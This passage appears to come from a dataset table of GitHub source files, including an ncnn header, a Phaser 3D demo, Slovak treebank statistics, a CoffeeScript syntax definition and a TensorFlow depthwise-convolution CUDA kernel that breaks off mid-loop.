text stringlengths 2 99k | meta dict |
|---|---|
// Tencent is pleased to support the open source community by making ncnn available.
//
// Copyright (C) 2017 THL A29 Limited, a Tencent company. All rights reserved.
//
// Licensed under the BSD 3-Clause License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// https://opensource.org/licenses/BSD-3-Clause
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#ifndef LAYER_LRN_ARM_H
#define LAYER_LRN_ARM_H
#include "lrn.h"
namespace ncnn {
class LRN_arm : public LRN
{
public:
virtual int forward_inplace(Mat& bottom_top_blob, const Option& opt) const;
};
} // namespace ncnn
#endif // LAYER_LRN_ARM_H
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2012-2016 bambooCORE, greenstep of copyright Chen Xin Nien
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* -----------------------------------------------------------------------
*
* author: Chen Xin Nien
* contact: chen.xin.nien@gmail.com
*
*/
package com.netsteadfast.greenstep.compoments;
import java.util.HashMap;
import java.util.Map;
public class CompomentsModel implements java.io.Serializable {
private static final long serialVersionUID = 6993978887440830058L;
private String id;
private String name;
private String resource;
private String content;
private int width;
private int height;
private Map<String, Object> parameters = new HashMap<String, Object>();
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getResource() {
return resource;
}
public void setResource(String resource) {
this.resource = resource;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public int getWidth() {
return width;
}
public void setWidth(int width) {
this.width = width;
}
public int getHeight() {
return height;
}
public void setHeight(int height) {
this.height = height;
}
public Map<String, Object> getParameters() {
return parameters;
}
public void setParameters(Map<String, Object> parameters) {
this.parameters = parameters;
}
}
| {
"pile_set_name": "Github"
} |
var config = {
type: Phaser.WEBGL,
width: 800,
height: 600,
parent: 'phaser-example',
scene: {
preload: preload,
create: create,
update: update
}
};
var graphics;
var t = {
x: -0.003490658503988659,
y: 0.003490658503988659,
z: -0.003490658503988659
};
var game = new Phaser.Game(config);
var models = [];
var model;
var m = 0;
var maxVerts = 0;
var balls = [];
function preload ()
{
this.load.image('ball', 'assets/sprites/shinyball.png');
this.load.text('bevelledcube', 'assets/text/bevelledcube.obj');
this.load.text('geosphere', 'assets/text/geosphere.obj');
this.load.text('implodedcube', 'assets/text/implodedcube.obj');
this.load.text('spike', 'assets/text/spike.obj');
this.load.text('torus', 'assets/text/torus.obj');
}
function create ()
{
graphics = this.add.graphics(0, 0);
models.push(parseObj(this.cache.text.get('geosphere')));
models.push(parseObj(this.cache.text.get('bevelledcube')));
models.push(parseObj(this.cache.text.get('spike')));
models.push(parseObj(this.cache.text.get('implodedcube')));
models.push(parseObj(this.cache.text.get('torus')));
model = models[0];
// Create sprites for each vert
for (var i = 0; i < maxVerts; i++)
{
var ball = this.add.image(0, 0, 'ball');
ball.visible = (i < model.verts.length);
balls.push(ball);
}
this.tweens.add({
targets: t,
repeat: -1,
yoyo: true,
ease: 'Sine.easeInOut',
props: {
x: {
value: 0.003490658503988659,
duration: 20000
},
y: {
value: -0.003490658503988659,
duration: 30000
},
z: {
value: 0.003490658503988659,
duration: 15000
},
}
});
this.input.keyboard.on('keydown_SPACE', function () {
m++;
if (m === models.length)
{
m = 0;
}
model = models[m];
// Update the balls
for (var i = 0; i < balls.length; i++)
{
balls[i].visible = (i < model.verts.length);
}
});
}
function update ()
{
rotateX3D(t.x);
rotateY3D(t.y);
rotateZ3D(t.z);
draw();
}
function draw ()
{
var centerX = 400;
var centerY = 300;
var scale = 200;
graphics.clear();
graphics.lineStyle(1, 0x00ff00, 0.4);
graphics.beginPath();
for (var i = 0; i < model.faces.length; i++)
{
var face = model.faces[i];
var v0 = model.verts[face[0] - 1];
var v1 = model.verts[face[1] - 1];
var v2 = model.verts[face[2] - 1];
var v3 = model.verts[face[3] - 1];
if (v0 && v1 && v2 && v3)
{
drawLine(centerX + v0.x * scale, centerY - v0.y * scale, centerX + v1.x * scale, centerY - v1.y * scale);
drawLine(centerX + v1.x * scale, centerY - v1.y * scale, centerX + v2.x * scale, centerY - v2.y * scale);
drawLine(centerX + v2.x * scale, centerY - v2.y * scale, centerX + v3.x * scale, centerY - v3.y * scale);
drawLine(centerX + v3.x * scale, centerY - v3.y * scale, centerX + v0.x * scale, centerY - v0.y * scale);
}
}
graphics.closePath();
graphics.strokePath();
for (var i = 0; i < model.verts.length; i++)
{
balls[i].x = centerX + model.verts[i].x * scale;
balls[i].y = centerY - model.verts[i].y * scale;
balls[i].depth = model.verts[i].z;
}
}
function drawLine (x0, y0, x1, y1)
{
graphics.moveTo(x0, y0);
graphics.lineTo(x1, y1);
}
function isCcw (v0, v1, v2)
{
return (v1.x - v0.x) * (v2.y - v0.y) - (v1.y - v0.y) * (v2.x - v0.x) >= 0;
}
function rotateX3D (theta)
{
var ts = Math.sin(theta);
var tc = Math.cos(theta);
for (var n = 0; n < model.verts.length; n++)
{
var vert = model.verts[n];
var y = vert.y;
var z = vert.z;
vert.y = y * tc - z * ts;
vert.z = z * tc + y * ts;
}
}
function rotateY3D (theta)
{
var ts = Math.sin(theta);
var tc = Math.cos(theta);
for (var n = 0; n < model.verts.length; n++)
{
var vert = model.verts[n];
var x = vert.x;
var z = vert.z;
vert.x = x * tc - z * ts;
vert.z = z * tc + x * ts;
}
}
function rotateZ3D (theta)
{
var ts = Math.sin(theta);
var tc = Math.cos(theta);
for (var n = 0; n < model.verts.length; n++)
{
var vert = model.verts[n];
var x = vert.x;
var y = vert.y;
vert.x = x * tc - y * ts;
vert.y = y * tc + x * ts;
}
}
// Parses out tris and quads from the obj file
function parseObj (text)
{
var verts = [];
var faces = [];
// split the text into lines
var lines = text.replace('\r', '').split('\n');
var count = lines.length;
for (var i = 0; i < count; i++)
{
var line = lines[i];
if (line[0] === 'v')
{
// lines that start with 'v' are vertices
var tokens = line.split(' ');
verts.push({
x: parseFloat(tokens[1]),
y: parseFloat(tokens[2]),
z: parseFloat(tokens[3])
});
}
else if (line[0] === 'f')
{
// lines that start with 'f' are faces
var tokens = line.split(' ');
var face = [
parseInt(tokens[1], 10),
parseInt(tokens[2], 10),
parseInt(tokens[3], 10),
parseInt(tokens[4], 10)
];
faces.push(face);
if (face[0] < 0)
{
face[0] = verts.length + face[0];
}
if (face[1] < 0)
{
face[1] = verts.length + face[1];
}
if (face[2] < 0)
{
face[2] = verts.length + face[2];
}
if (!face[3])
{
face[3] = face[2];
}
else if (face[3] < 0)
{
face[3] = verts.length + face[3];
}
}
}
if (verts.length > maxVerts)
{
maxVerts = verts.length;
}
return {
verts: verts,
faces: faces
};
}
| {
"pile_set_name": "Github"
} |
<?php
function foo($foo, $bar = 42, $foobar) {}
?>
| {
"pile_set_name": "Github"
} |
---
layout: base
title: 'Statistics of Typo in UD_Slovak'
udver: '2'
---
## Treebank Statistics: UD_Slovak: Features: `Typo`
This feature is language-specific.
It occurs with 1 different values: `Yes`.
132 tokens (0%) have a non-empty value of `Typo`.
121 types (0%) occur at least once with a non-empty value of `Typo`.
115 lemmas (1%) occur at least once with a non-empty value of `Typo`.
The feature is used with 12 part-of-speech tags: <tt><a href="sk-pos-NOUN.html">NOUN</a></tt> (35; 0% instances), <tt><a href="sk-pos-VERB.html">VERB</a></tt> (30; 0% instances), <tt><a href="sk-pos-ADJ.html">ADJ</a></tt> (25; 0% instances), <tt><a href="sk-pos-DET.html">DET</a></tt> (15; 0% instances), <tt><a href="sk-pos-ADP.html">ADP</a></tt> (9; 0% instances), <tt><a href="sk-pos-ADV.html">ADV</a></tt> (8; 0% instances), <tt><a href="sk-pos-PRON.html">PRON</a></tt> (3; 0% instances), <tt><a href="sk-pos-PROPN.html">PROPN</a></tt> (3; 0% instances), <tt><a href="sk-pos-AUX.html">AUX</a></tt> (1; 0% instances), <tt><a href="sk-pos-CCONJ.html">CCONJ</a></tt> (1; 0% instances), <tt><a href="sk-pos-NUM.html">NUM</a></tt> (1; 0% instances), <tt><a href="sk-pos-PART.html">PART</a></tt> (1; 0% instances).
### `NOUN`
35 <tt><a href="sk-pos-NOUN.html">NOUN</a></tt> tokens (0% of all `NOUN` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `NOUN` and `Typo` co-occurred: <tt><a href="sk-feat-Animacy.html">Animacy</a></tt><tt>=EMPTY</tt> (26; 74%), <tt><a href="sk-feat-Number.html">Number</a></tt><tt>=Sing</tt> (23; 66%), <tt><a href="sk-feat-Gender.html">Gender</a></tt><tt>=Fem</tt> (19; 54%).
`NOUN` tokens may have the following values of `Typo`:
* `Yes` (35; 100% of non-empty `Typo`): <em>básni, kliniec, koalícia, Odhlásenia, Princezny, Východiska, girladnami, grímasu, hierarcha, hlainy</em>
`Typo` seems to be **lexical feature** of `NOUN`. 100% lemmas (32) occur only with one value of `Typo`.
### `VERB`
30 <tt><a href="sk-pos-VERB.html">VERB</a></tt> tokens (0% of all `VERB` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `VERB` and `Typo` co-occurred: <tt><a href="sk-feat-Polarity.html">Polarity</a></tt><tt>=Pos</tt> (26; 87%), <tt><a href="sk-feat-Animacy.html">Animacy</a></tt><tt>=EMPTY</tt> (21; 70%), <tt><a href="sk-feat-Mood.html">Mood</a></tt><tt>=EMPTY</tt> (20; 67%), <tt><a href="sk-feat-Person.html">Person</a></tt><tt>=EMPTY</tt> (20; 67%), <tt><a href="sk-feat-Tense.html">Tense</a></tt><tt>=Past</tt> (18; 60%), <tt><a href="sk-feat-VerbForm.html">VerbForm</a></tt><tt>=Part</tt> (18; 60%), <tt><a href="sk-feat-Number.html">Number</a></tt><tt>=Plur</tt> (17; 57%), <tt><a href="sk-feat-Aspect.html">Aspect</a></tt><tt>=Perf</tt> (16; 53%).
`VERB` tokens may have the following values of `Typo`:
* `Yes` (30; 100% of non-empty `Typo`): <em>Nepridátete, Nevydeli, hlásli, nchýbal, nezáhráte, obsakujú, odšuchatala, okazoval, oposkladali, pocitujú</em>
`Typo` seems to be **lexical feature** of `VERB`. 100% lemmas (29) occur only with one value of `Typo`.
### `ADJ`
25 <tt><a href="sk-pos-ADJ.html">ADJ</a></tt> tokens (0% of all `ADJ` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `ADJ` and `Typo` co-occurred: <tt><a href="sk-feat-Degree.html">Degree</a></tt><tt>=Pos</tt> (24; 96%), <tt><a href="sk-feat-Polarity.html">Polarity</a></tt><tt>=EMPTY</tt> (20; 80%), <tt><a href="sk-feat-VerbForm.html">VerbForm</a></tt><tt>=EMPTY</tt> (20; 80%), <tt><a href="sk-feat-Voice.html">Voice</a></tt><tt>=EMPTY</tt> (20; 80%), <tt><a href="sk-feat-Number.html">Number</a></tt><tt>=Sing</tt> (17; 68%), <tt><a href="sk-feat-Animacy.html">Animacy</a></tt><tt>=EMPTY</tt> (15; 60%), <tt><a href="sk-feat-Case.html">Case</a></tt><tt>=Nom</tt> (13; 52%).
`ADJ` tokens may have the following values of `Typo`:
* `Yes` (25; 100% of non-empty `Typo`): <em>administratívnych, aténského, bielorusk0ho, dnešních, hororej, huslové, iní, mikrovlné, napísane, naznámejší</em>
`Typo` seems to be **lexical feature** of `ADJ`. 100% lemmas (25) occur only with one value of `Typo`.
### `DET`
15 <tt><a href="sk-pos-DET.html">DET</a></tt> tokens (0% of all `DET` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `DET` and `Typo` co-occurred: <tt><a href="sk-feat-Gender-psor.html">Gender[psor]</a></tt><tt>=EMPTY</tt> (15; 100%), <tt><a href="sk-feat-Number-psor.html">Number[psor]</a></tt><tt>=EMPTY</tt> (15; 100%), <tt><a href="sk-feat-Person.html">Person</a></tt><tt>=EMPTY</tt> (15; 100%), <tt><a href="sk-feat-Number.html">Number</a></tt><tt>=Sing</tt> (11; 73%), <tt><a href="sk-feat-Gender.html">Gender</a></tt><tt>=Masc</tt> (8; 53%), <tt><a href="sk-feat-Poss.html">Poss</a></tt><tt>=EMPTY</tt> (8; 53%).
`DET` tokens may have the following values of `Typo`:
* `Yes` (15; 100% of non-empty `Typo`): <em>svojim, ktorý, Ake, akí, do, ktorí, niekolko, svojím, tuto</em>
### `ADP`
9 <tt><a href="sk-pos-ADP.html">ADP</a></tt> tokens (0% of all `ADP` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `ADP` and `Typo` co-occurred: <tt><a href="sk-feat-AdpType.html">AdpType</a></tt><tt>=Prep</tt> (7; 78%).
`ADP` tokens may have the following values of `Typo`:
* `Yes` (9; 100% of non-empty `Typo`): <em>s, zo, AN, Po, ma, o, pomocu</em>
### `ADV`
8 <tt><a href="sk-pos-ADV.html">ADV</a></tt> tokens (0% of all `ADV` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `ADV` and `Typo` co-occurred: <tt><a href="sk-feat-Degree.html">Degree</a></tt><tt>=Pos</tt> (8; 100%), <tt><a href="sk-feat-PronType.html">PronType</a></tt><tt>=EMPTY</tt> (8; 100%).
`ADV` tokens may have the following values of `Typo`:
* `Yes` (8; 100% of non-empty `Typo`): <em>definitivne, jednostranné, natešne, neustála, niekdy, sebe, uz, vslatne</em>
### `PRON`
3 <tt><a href="sk-pos-PRON.html">PRON</a></tt> tokens (0% of all `PRON` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `PRON` and `Typo` co-occurred: <tt><a href="sk-feat-Animacy.html">Animacy</a></tt><tt>=EMPTY</tt> (3; 100%), <tt><a href="sk-feat-PronType.html">PronType</a></tt><tt>=Prs</tt> (3; 100%), <tt><a href="sk-feat-Case.html">Case</a></tt><tt>=EMPTY</tt> (2; 67%), <tt><a href="sk-feat-Gender.html">Gender</a></tt><tt>=EMPTY</tt> (2; 67%), <tt><a href="sk-feat-Number.html">Number</a></tt><tt>=EMPTY</tt> (2; 67%), <tt><a href="sk-feat-Person.html">Person</a></tt><tt>=EMPTY</tt> (2; 67%), <tt><a href="sk-feat-Reflex.html">Reflex</a></tt><tt>=Yes</tt> (2; 67%).
`PRON` tokens may have the following values of `Typo`:
* `Yes` (3; 100% of non-empty `Typo`): <em>a, je, za</em>
### `PROPN`
3 <tt><a href="sk-pos-PROPN.html">PROPN</a></tt> tokens (0% of all `PROPN` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `PROPN` and `Typo` co-occurred: <tt><a href="sk-feat-Animacy.html">Animacy</a></tt><tt>=Anim</tt> (3; 100%), <tt><a href="sk-feat-Case.html">Case</a></tt><tt>=Nom</tt> (3; 100%), <tt><a href="sk-feat-Gender.html">Gender</a></tt><tt>=Masc</tt> (3; 100%), <tt><a href="sk-feat-Number.html">Number</a></tt><tt>=Sing</tt> (3; 100%).
`PROPN` tokens may have the following values of `Typo`:
* `Yes` (3; 100% of non-empty `Typo`): <em>Winton, Rama</em>
### `AUX`
1 <tt><a href="sk-pos-AUX.html">AUX</a></tt> tokens (0% of all `AUX` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `AUX` and `Typo` co-occurred: <tt><a href="sk-feat-Aspect.html">Aspect</a></tt><tt>=Imp</tt> (1; 100%), <tt><a href="sk-feat-Gender.html">Gender</a></tt><tt>=EMPTY</tt> (1; 100%), <tt><a href="sk-feat-Mood.html">Mood</a></tt><tt>=Ind</tt> (1; 100%), <tt><a href="sk-feat-Number.html">Number</a></tt><tt>=Plur</tt> (1; 100%), <tt><a href="sk-feat-Person.html">Person</a></tt><tt>=1</tt> (1; 100%), <tt><a href="sk-feat-Polarity.html">Polarity</a></tt><tt>=Neg</tt> (1; 100%), <tt><a href="sk-feat-Tense.html">Tense</a></tt><tt>=Pres</tt> (1; 100%), <tt><a href="sk-feat-VerbForm.html">VerbForm</a></tt><tt>=Fin</tt> (1; 100%).
`AUX` tokens may have the following values of `Typo`:
* `Yes` (1; 100% of non-empty `Typo`): <em>niesme</em>
### `CCONJ`
1 <tt><a href="sk-pos-CCONJ.html">CCONJ</a></tt> tokens (0% of all `CCONJ` tokens) have a non-empty value of `Typo`.
`CCONJ` tokens may have the following values of `Typo`:
* `Yes` (1; 100% of non-empty `Typo`): <em>sice</em>
### `NUM`
1 <tt><a href="sk-pos-NUM.html">NUM</a></tt> tokens (0% of all `NUM` tokens) have a non-empty value of `Typo`.
The most frequent other feature values with which `NUM` and `Typo` co-occurred: <tt><a href="sk-feat-Animacy.html">Animacy</a></tt><tt>=EMPTY</tt> (1; 100%), <tt><a href="sk-feat-Case.html">Case</a></tt><tt>=Acc</tt> (1; 100%), <tt><a href="sk-feat-Gender.html">Gender</a></tt><tt>=Neut</tt> (1; 100%), <tt><a href="sk-feat-NumForm.html">NumForm</a></tt><tt>=EMPTY</tt> (1; 100%), <tt><a href="sk-feat-Number.html">Number</a></tt><tt>=Plur</tt> (1; 100%).
`NUM` tokens may have the following values of `Typo`:
* `Yes` (1; 100% of non-empty `Typo`): <em>dva</em>
### `PART`
1 <tt><a href="sk-pos-PART.html">PART</a></tt> tokens (0% of all `PART` tokens) have a non-empty value of `Typo`.
`PART` tokens may have the following values of `Typo`:
* `Yes` (1; 100% of non-empty `Typo`): <em>Ano</em>
## Relations with Agreement in `Typo`
The 10 most frequent relations where parent and child node agree in `Typo`:
<tt>ADV --[<tt><a href="sk-dep-case.html">case</a></tt>]--> ADP</tt> (1; 100%).
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<!--
CoffeeScript syntax highlighting
Written by Ezra Altahan
Created 12/02/2016
Version 1.1 | Updated 16/10/2016
hello@exr.be
https://github.com/ei
-->
<SyntaxDefinition name="CoffeeScript" extensions=".coffee;.litcoffee">
<Environment>
<Default color="Black" bgcolor="#FFFFFF"/>
<Selection color="Black" bgcolor="#C3C3FF"/>
<LineNumbers color="Gray" bgcolor="#FFFFFF"/>
<CaretMarker color="#F0F0F1"/>
<VRuler color="#E0E0E5"/>
<FoldLine color="#A0A0A0" bgcolor="#FFFFFF"/>
<FoldMarker color="Black" bgcolor="#FFFFFF"/>
<SelectedFoldLine color="Black" bgcolor="#FFFFFF"/>
<EOLMarkers color="#CACAD2"/>
<SpaceMarkers color="#B6B6C0"/>
<TabMarkers color="#B6B6C0"/>
<InvalidLines color="#B6B6C0"/>
</Environment>
<Properties>
<Property name="LineComment" value="#"/>
<Property name="BlockCommentBegin" value="###"/>
<Property name="BlockCommentEnd" value="###"/>
</Properties>
<Digits name="Digits" color="#BF382A"/>
<RuleSets>
<RuleSet ignorecase="false">
<Delimiters>()[]{},.`#=;+-*@/%~ &|^><</Delimiters>
<Span name="MultiLineComment" stopateol="false" color="Green" bold="false" italic="false">
<Begin>###</Begin>
<End>###</End>
</Span>
<Span name="LineComment" stopateol="true" color="Green" bold="false" italic="false">
<Begin>#</Begin>
</Span>
<Span name="String" stopateol="false" color="#808080" bold="false" italic="false" escapecharacter="\">
<Begin>"</Begin>
<End>"</End>
</Span>
<Span name="Char" stopateol="false" color="#808080" bold="false" italic="false" escapecharacter="\">
<Begin>'</Begin>
<End>'</End>
</Span>
<MarkFollowing markmarker="true" color="#82751A" bold="false">@</MarkFollowing>
<KeyWords name="Keywords1" color="Blue" bold="false" italic="false">
<Key word="__bind"/>
<Key word="__extends"/>
<Key word="__hasProp"/>
<Key word="__indexOf"/>
<Key word="__slice"/>
<Key word="and"/>
<Key word="break"/>
<Key word="by"/>
<Key word="case"/>
<Key word="catch"/>
<Key word="class"/>
<Key word="const"/>
<Key word="continue"/>
<Key word="default"/>
<Key word="delete"/>
<Key word="do"/>
<Key word="each"/>
<Key word="else"/>
<Key word="enum"/>
<Key word="export"/>
<Key word="extends"/>
<Key word="finally"/>
<Key word="for"/>
<Key word="function"/>
<Key word="get"/>
<Key word="if"/>
<Key word="import"/>
<Key word="in"/>
<Key word="instanceof"/>
<Key word="is"/>
<Key word="isnt"/>
<Key word="jQuery"/>
<Key word="let"/>
<Key word="loop"/>
<Key word="native"/>
<Key word="new"/>
<Key word="no"/>
<Key word="not"/>
<Key word="of"/>
<Key word="off"/>
<Key word="on"/>
<Key word="or"/>
<Key word="prototype"/>
<Key word="return"/>
<Key word="set"/>
<Key word="switch"/>
<Key word="then"/>
<Key word="this"/>
<Key word="throw"/>
<Key word="try"/>
<Key word="typeof"/>
<Key word="unless"/>
<Key word="until"/>
<Key word="var"/>
<Key word="void"/>
<Key word="when"/>
<Key word="where"/>
<Key word="while"/>
<Key word="with"/>
<Key word="yes"/>
<Key word="yield"/>
</KeyWords>
<KeyWords name="Keywords3" color="DarkViolet" bold="false" italic ="false">
<Key word="Infinity"/>
<Key word="NaN"/>
<Key word="false"/>
<Key word="null"/>
<Key word="true"/>
<Key word="undefined"/>
</KeyWords>
</RuleSet>
</RuleSets>
</SyntaxDefinition>
| {
"pile_set_name": "Github"
} |
@import './var';
@import './mixins/hairline';
[class*='van-hairline'] {
&::after {
.hairline();
}
}
.van-hairline {
&,
&--top,
&--left,
&--right,
&--bottom,
&--surround,
&--top-bottom {
position: relative;
}
&--top::after {
border-top-width: @border-width-base;
}
&--left::after {
border-left-width: @border-width-base;
}
&--right::after {
border-right-width: @border-width-base;
}
&--bottom::after {
border-bottom-width: @border-width-base;
}
&,
&-unset {
&--top-bottom::after {
border-width: @border-width-base 0;
}
}
&--surround::after {
border-width: @border-width-base;
}
}
| {
"pile_set_name": "Github"
} |
/**
* Implements hook_openid_discovery_method_info_alter().
*/
function {{ machine_name }}_openid_discovery_method_info_alter(&$methods) {
// Remove XRI discovery scheme.
unset($methods['xri']);
}
| {
"pile_set_name": "Github"
} |
/*
==============================================================================
This is an automatically generated GUI class created by the Projucer!
Be careful when adding custom code to these files, as only the code within
the "//[xyz]" and "//[/xyz]" sections will be retained when the file is loaded
and re-saved.
Created with Projucer version: 5.4.7
------------------------------------------------------------------------------
The Projucer is part of the JUCE library.
Copyright (c) 2017 - ROLI Ltd.
==============================================================================
*/
#pragma once
//[Headers] -- You can add your own extra header files here --
#include <JuceHeader.h>
//[/Headers]
//==============================================================================
/**
//[Comments]
An auto-generated component, created by the Projucer.
Describe your class and how it works here!
//[/Comments]
*/
class Images : public Component {
public:
//==============================================================================
Images();
~Images() override;
//==============================================================================
//[UserMethods] -- You can add your own custom methods in this section.
//[/UserMethods]
void paint(Graphics& g) override;
void resized() override;
// Binary resources:
static const char* serverinv_png;
static const int serverinv_pngSize;
static const char* servertraymac_png;
static const int servertraymac_pngSize;
static const char* servertraywin_png;
static const int servertraywin_pngSize;
private:
//[UserVariables] -- You can add your own custom variables in this section.
//[/UserVariables]
//==============================================================================
//==============================================================================
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR(Images)
};
//[EndFile] You can add extra defines here...
//[/EndFile]
| {
"pile_set_name": "Github"
} |
/*
* Copyright Red Hat Inc. and/or its affiliates and other contributors
* as indicated by the authors tag. All rights reserved.
*
* This copyrighted material is made available to anyone wishing to use,
* modify, copy, or redistribute it subject to the terms and conditions
* of the GNU General Public License version 2.
*
* This particular file is subject to the "Classpath" exception as provided in the
* LICENSE file that accompanied this code.
*
* This program is distributed in the hope that it will be useful, but WITHOUT A
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License,
* along with this distribution; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*/
class SummableImpl() satisfies Summable<SummableImpl> {
shared actual SummableImpl plus(SummableImpl other) {
return nothing;
}
} | {
"pile_set_name": "Github"
} |
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#if GOOGLE_CUDA
#define EIGEN_USE_GPU
#include "tensorflow/core/kernels/depthwise_conv_op.h"
#include "third_party/eigen3/unsupported/Eigen/CXX11/Tensor"
#include "tensorflow/core/platform/types.h"
#include "tensorflow/core/util/cuda_kernel_helper.h"
#define UNROLL _Pragma("unroll")
namespace tensorflow {
namespace {
typedef Eigen::GpuDevice GPUDevice;
// A Cuda kernel to compute the depthwise convolution forward pass.
template <typename T>
__global__ void DepthwiseConv2dGPUKernel(const DepthwiseArgs args,
const T* input, const T* filter,
T* output, int num_outputs) {
const int in_rows = args.in_rows;
const int in_cols = args.in_cols;
const int in_depth = args.in_depth;
const int filter_rows = args.filter_rows;
const int filter_cols = args.filter_cols;
const int depth_multiplier = args.depth_multiplier;
const int stride = args.stride;
const int pad_rows = args.pad_rows;
const int pad_cols = args.pad_cols;
const int out_rows = args.out_rows;
const int out_cols = args.out_cols;
const int out_depth = args.out_depth;
CUDA_1D_KERNEL_LOOP(thread_id, num_outputs) {
// Compute the indexes of this thread in the output.
const int OD = thread_id % out_depth;
const int OC = (thread_id / out_depth) % out_cols;
const int OR = (thread_id / out_depth / out_cols) % out_rows;
const int OB = thread_id / out_depth / out_cols / out_rows;
// Compute the input depth and the index of depth multiplier.
const int in_d = OD / depth_multiplier;
const int multiplier = OD % depth_multiplier;
// Decide if all input is valid, if yes, we can skip the boundary checks for
// each input.
const int input_row_start = OR * stride - pad_rows;
const int input_col_start = OC * stride - pad_cols;
const int input_row_end = input_row_start + filter_rows;
const int input_col_end = input_col_start + filter_cols;
T sum = 0;
const int input_offset_temp = in_rows * OB;
if (input_row_start >= 0 && input_col_start >= 0 &&
input_row_end < in_rows && input_col_end < in_cols) {
UNROLL for (int f_r = 0; f_r < filter_rows; ++f_r) {
const int in_r = input_row_start + f_r;
const int filter_offset_temp = filter_cols * f_r;
UNROLL for (int f_c = 0; f_c < filter_cols; ++f_c) {
const int in_c = input_col_start + f_c;
const int input_offset =
in_d + in_depth * (in_c + in_cols * (in_r + input_offset_temp));
const int filter_offset =
multiplier +
depth_multiplier * (in_d + in_depth * (f_c + filter_offset_temp));
sum += ldg(input + input_offset) * ldg(filter + filter_offset);
}
}
} else {
UNROLL for (int f_r = 0; f_r < filter_rows; ++f_r) {
const int in_r = input_row_start + f_r;
const int filter_offset_temp = filter_cols * f_r;
UNROLL for (int f_c = 0; f_c < filter_cols; ++f_c) {
const int in_c = input_col_start + f_c;
if (in_r >= 0 && in_r < in_rows && in_c >= 0 && in_c < in_cols) {
const int in_c = input_col_start + f_c;
const int input_offset =
in_d + in_depth * (in_c + in_cols * (in_r + input_offset_temp));
const int filter_offset =
multiplier +
depth_multiplier *
(in_d + in_depth * (f_c + filter_offset_temp));
sum += ldg(input + input_offset) * ldg(filter + filter_offset);
}
}
}
}
output[thread_id] = sum;
}
}
} // namespace
// A simple launch pad to launch the Cuda kernel for depthwise convolution.
template <typename T>
struct DepthwiseConv2dGPULaunch {
static void Run(const GPUDevice& d, const DepthwiseArgs args, const T* input,
const T* filter, T* output) {
// In this kernel, each thread is computing the gradients from one element
// in the out_backprop. Note that one element in the out_backprop can map
// to multiple filter elements.
const int num_outputs =
args.batch * args.out_rows * args.out_cols * args.out_depth;
CudaLaunchConfig config = GetCudaLaunchConfig(num_outputs, d);
DepthwiseConv2dGPUKernel<
T><<<config.block_count, config.thread_per_block, 0, d.stream()>>>(
args, input, filter, output, num_outputs);
}
};
template struct DepthwiseConv2dGPULaunch<float>;
template struct DepthwiseConv2dGPULaunch<double>;
// A Cuda kernel to compute the depthwise convolution backprop w.r.t. input.
template <typename T>
__global__ void DepthwiseConv2dBackpropInputGPUKernel(const DepthwiseArgs args,
const T* out_backprop,
const T* filter,
T* in_backprop,
int num_in_backprop) {
const int in_rows = args.in_rows;
const int in_cols = args.in_cols;
const int in_depth = args.in_depth;
const int filter_rows = args.filter_rows;
const int filter_cols = args.filter_cols;
const int depth_multiplier = args.depth_multiplier;
const int stride = args.stride;
const int pad_rows = args.pad_rows;
const int pad_cols = args.pad_cols;
const int out_rows = args.out_rows;
const int out_cols = args.out_cols;
const int out_depth = args.out_depth;
CUDA_1D_KERNEL_LOOP(thread_id, num_in_backprop) {
// Compute the indexes of this thread in the output.
const int in_d = thread_id % in_depth;
const int in_c = (thread_id / in_depth) % in_cols;
const int in_r = (thread_id / in_depth / in_cols) % in_rows;
const int b = thread_id / in_depth / in_cols / in_rows;
T sum = 0;
const int out_d_start = in_d * depth_multiplier;
const int out_d_end = out_d_start + depth_multiplier;
const int out_r_start =
tf_max<int>(0, (in_r - filter_rows + pad_rows + stride) / stride);
const int out_r_end = tf_min(out_rows - 1, (in_r + pad_rows) / stride);
const int out_c_start =
tf_max(0, (in_c - filter_cols + pad_cols + stride) / stride);
const int out_c_end = tf_min(out_cols - 1, (in_c + pad_cols) / stride);
UNROLL for (int out_d = out_d_start; out_d < out_d_end; ++out_d) {
UNROLL for (int out_r = out_r_start; out_r <= out_r_end; ++out_r) {
const int f_r = in_r + pad_rows - out_r * stride;
const int filter_dm = out_d - out_d_start;
const int temp_out_backprop_offset = out_cols * (out_r + out_rows * b);
const int temp_filter_offset = filter_cols * f_r;
for (int out_c = out_c_start; out_c <= out_c_end; ++out_c) {
